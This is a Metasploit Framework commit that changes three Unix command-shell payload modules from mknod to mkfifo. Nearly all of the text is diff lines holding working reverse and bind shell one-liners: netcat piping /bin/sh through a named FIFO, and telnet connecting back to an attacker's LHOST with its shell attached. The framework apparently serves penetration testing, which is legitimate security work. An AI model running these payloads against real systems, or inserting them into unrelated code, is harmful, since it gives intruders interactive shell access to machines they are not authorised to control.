Land #6849, mknod to mkfifo

lands wvu's pr to switch from mknod to
mkfifo for netcat payloads
bug/bundler_fix
David Maloney 2016-05-05 10:34:41 -05:00
commit 891a788ad4
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
3 changed files with 4 additions and 4 deletions

View File

@ -52,7 +52,7 @@ module MetasploitModule
# #
def command_string def command_string
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4)) backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
"mknod /tmp/#{backpipe} p; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}" "mkfifo /tmp/#{backpipe}; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
end end
end end

View File

@ -19,7 +19,7 @@ module MetasploitModule
super(merge_info(info, super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)', 'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
'Description' => %q{ 'Description' => %q{
Creates an interactive shell via mknod and telnet. Creates an interactive shell via mkfifo and telnet.
This method works on Debian and other systems compiled This method works on Debian and other systems compiled
without /dev/tcp support. This module uses the '-z' without /dev/tcp support. This module uses the '-z'
option included on some systems to encrypt using SSL. option included on some systems to encrypt using SSL.
@ -53,6 +53,6 @@ module MetasploitModule
# #
def command_string def command_string
pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 ) pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &" cmd = "mkfifo #{pipe_name} && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
end end
end end

View File

@ -52,7 +52,7 @@ module MetasploitModule
# #
def command_string def command_string
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4)) backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
"mknod /tmp/#{backpipe} p; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} " "mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
end end
end end